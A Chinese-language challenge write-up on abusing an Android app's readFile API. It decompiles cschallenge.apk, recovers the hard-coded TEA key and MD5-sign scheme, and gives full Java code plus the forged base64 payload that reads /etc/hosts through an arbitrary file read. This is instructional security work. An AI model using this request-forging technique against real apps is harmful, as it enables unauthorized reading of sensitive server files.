某安卓apk敏感文件读取

某安卓apk敏感文件读取

简介

工具

cschallenge.apk
夜神模拟器
JEB/jadx
burpsuite
jdk
adb

环境搭建

首先将目标cschallenge.apk装到模拟器,发现直接拖进去会不能安装,猜测是签名问题,所以使用adb安装

adb.exe install -t C:\Users\sun\Downloads\cschallenge.apk
注意使用-t参数,不然会报错

安装成功,打开康康
rRwrBn.png
先注册,然后登录
登录成功后,点readfile按钮
rRwIBR.png
发现看到了文件的内容。

过程

因为可以读取文件的内容,所以试着尝试可不可以读取敏感的一些文件,如/etc/hosts等文件

先抓包康康
rRwL9O.md.png

发现是一个post请求,但是post内容进行了编码处理。看样子像是base64编码了,尝试base64编码试试。
rR0k8S.md.png
发现不能解密

于是反编译看看源码里面是如何加密的
rRBpM4.jpg
加密过程如下
rRBkIx.md.png
大概一看,发现这里传了一个文件,然后出现了我们猜测的base64字样,最后出现了api/readFile这个接口和post这个请求
大概猜测,我们需要的代码就在这里了
然后仔细分析一下这段代码
我直接给出注释

JSONObject v0_2 = new JSONObject();//定义了一个名字为v0_2的json对象
        String v1_1 = "/tmp/a.txt";//定义一个字符串变量,是/tmp/a.txt这个文件
        try {
            v0_2.put("filename", v1_1);//添加一个键值对filename:/tmp/a.txt
            v0_2.put("sign", Functions.md5(v1_1.getBytes()));//添加键值对。sign:md5("/tmp/a.txt"),把/tmp/a.txt进行MD5加密后传给v0_2
        }
        catch(JSONException v6) {
            v6.printStackTrace();//异常处理
        }

        byte[] v7 = new TEA("TEApassphraseTEA".getBytes()).encrypt(v0_2.toString().getBytes());//将v0_2进行encrypt加密,然后再放进TEA方法里处理
        WorkTask v8 = new WorkTask(this);//创建了一个worktask对下个
        String[] v4_1 = new String[v4];//定义了一个数组
        v4_1[0] = "post";//第一个元素是post
        v4_1[1] = new String(Base64.encode(v7, v5));//第二个元素是刚刚v7进行了base64编码
        v4_1[v5] = "api/readFile";//第三个元素是api/readFile
        v8.execute(((Object[])v4_1));//类似于发送了一个http请求

大概就是做了这么一件事,先将/tmp/a.txt 进行md5加密,然后,进行encrypt加密,然后放进自己写的TEA方法中进行处理,最后base64编码。
然后发现发送了一个http请求,方法post,post数据是刚刚加密的数据,接口是api/readFile.
然后再次看一下返回包
rRBvTI.md.png
返回包里是/tmp/a.txt的文件内容

目标是读取/etc/hosts
返回包的内容,跟我们请求包中post数据是对应的。post数据里是文件名,返回的文件内容
所以,我们要看/etc/hosts,只需要把post的内容改成/etc/hosts加密后的样子就可以了

加密过程我们已经看到了。我们只需要将/etc/hosts经过代码里的那一串加密过程,然后发送请求,就可以读到内容了

在这里我们直接用他自己写好的代码,然后把/tmp/a.txt换成/etc/hosts就可以了

首先经过这三层加密

class M {
    public static void main(String[] args){
	byte[] result = new TEA("TEApassphraseTEA".getBytes()).encrypt("{\"filename\":\"/etc/hosts()\",\"sign\":\"ad942c725cd0cae65ca4c63717ec464c\"}".getBytes());
	System.out.println(Base64.getEncoder().encodeToString(result));
}

然后因为他的TEA是自己写的一个方法,于是给这个方法也拿过来
rRDnhV.md.png

最后写成完整的代码,实现输出经过加密后的文件名

import java.util.Base64;

class M {
    public static void main(String[] args){
	byte[] result = new TEA("TEApassphraseTEA".getBytes()).encrypt("{\"filename\":\"/etc/hosts\",\"sign\":\"ad942c725cd0cae65ca4c63717ec464c\"}".getBytes());
	System.out.println(Base64.getEncoder().encodeToString(result));
}

static class TEA {
    private static final int CUPS = 0x20;
    private int[] S;
    private static final int SUGAR = -1640531527;
    private static final int UNSUGAR = 0xC6EF3720;

    public TEA(byte[] arg8) {
        super();
        int v0 = 4;
        this.S = new int[v0];
        if(arg8 != null) {
            int v2 = 16;
            if(arg8.length >= v2) {
                int v1 = 0;
                int v3 = 0;
                while(v3 < v0) {
                    int[] v4 = this.S;
                    int v5 = v1 + 1;
                    int v6 = v5 + 1;
                    v1 = arg8[v1] & 0xFF | (arg8[v5] & 0xFF) << 8;
                    v5 = v6 + 1;
                    v4[v3] = v1 | (arg8[v6] & 0xFF) << v2 | (arg8[v5] & 0xFF) << 24;
                    ++v3;
                    v1 = v5 + 1;
                }
                return;
            }
            throw new RuntimeException("Invalid key: Length was less than 16 bytes");
        }
        throw new RuntimeException("Invalid key: Key was null");
    }

    void brew(int[] arg9) {
        int v0;
        for(v0 = 1; v0 < arg9.length; v0 += 2) {
            int v1 = 0x20;
            int v2 = arg9[v0];
            int v3 = arg9[v0 + 1];
            int v4 = 0;
            while(true) {
                int v5 = v1 - 1;
                if(v1 <= 0) {
                    break;
                }
                v4 -= 1640531527;
                int[] v6 = this.S;
                v2 += ((v3 << 4) + v6[0] ^ v3) + (v3 >>> 5 ^ v4) + v6[1];
                v3 += ((v2 << 4) + v6[2] ^ v2) + (v2 >>> 5 ^ v4) + v6[3];
                v1 = v5;
            }
            arg9[v0] = v2;
            arg9[v0 + 1] = v3;
        }
    }

    public byte[] decrypt(byte[] arg4) {
        int[] v0 = new int[arg4.length / 4];
        this.pack(arg4, v0, 0);
        this.unbrew(v0);
        return this.unpack(v0, 1, v0[0]);
    }

    public byte[] encrypt(byte[] arg6) {
        int v0 = arg6.length / 8;
        int v1 = arg6.length % 8 == 0 ? 0 : 1;
        int[] v1_1 = new int[(v0 + v1) * 2 + 1];
        v1_1[0] = arg6.length;
        this.pack(arg6, v1_1, 1);
        this.brew(v1_1);
        return this.unpack(v1_1, 0, v1_1.length * 4);
    }

    void pack(byte[] arg7, int[] arg8, int arg9) {
        int v0 = 0;
        int v1 = 24;
        int v2 = arg9;
        arg8[v2] = 0;
        while(v0 < arg7.length) {
            arg8[v2] |= (arg7[v0] & 0xFF) << v1;
            if(v1 == 0) {
                v1 = 24;
                ++v2;
                if(v2 < arg8.length) {
                    arg8[v2] = 0;
                }
            }
            else {
                v1 += -8;
            }
            ++v0;
        }
    }

    void unbrew(int[] arg9) {
        int v0;
        for(v0 = 1; v0 < arg9.length; v0 += 2) {
            int v1 = 0x20;
            int v2 = arg9[v0];
            int v3 = arg9[v0 + 1];
            int v4 = 0xC6EF3720;
            while(true) {
                int v5 = v1 - 1;
                if(v1 <= 0) {
                    break;
                }
                int[] v6 = this.S;
                v3 -= ((v2 << 4) + v6[2] ^ v2) + (v2 >>> 5 ^ v4) + v6[3];
                v2 -= ((v3 << 4) + v6[0] ^ v3) + (v3 >>> 5 ^ v4) + v6[1];
                v4 += 1640531527;
                v1 = v5;
            }
            arg9[v0] = v2;
            arg9[v0 + 1] = v3;
        }
    }

    byte[] unpack(int[] arg7, int arg8, int arg9) {
        byte[] v0 = new byte[arg9];
        int v1 = arg8;
        int v2 = 0;
        int v3;
        for(v3 = 0; v3 < arg9; ++v3) {
            v0[v3] = ((byte)(arg7[v1] >> 24 - v2 * 8 & 0xFF));
            ++v2;
            if(v2 == 4) {
                v2 = 0;
                ++v1;
            }
        }
        return v0;
    }
}
}

然后编译执行一下

javac M.java
java M

rRDQcF.md.png
得到我们加密后的/etc/hosts

AAAAQ7KZDoFdO9sHLdx31oW4AHhtvdTlvR7sBF/OrODnqdrOQQpY2KVeZTZvt5GpWwvdPK6YQdZ3X0Z2qNnxlrlPUMgPFDDNXp3VPA==

放进请求包里
rRDYA1.md.png
成功获得数据

总结

这次的核心点是发现有个点可以读文件,然后就想到那是不是可以任意文件读取,然后就需要抓包看看数据返回的内容和发送的内容之间的关系。找到关系后,看到加密内容,就是第二个关键点,看源码分析是如何加密的,当知道是如何加密的之后。将数据进行同等方式的加密,然后替换,看是否可读即可。

  • 通过
  • 未通过

0 投票者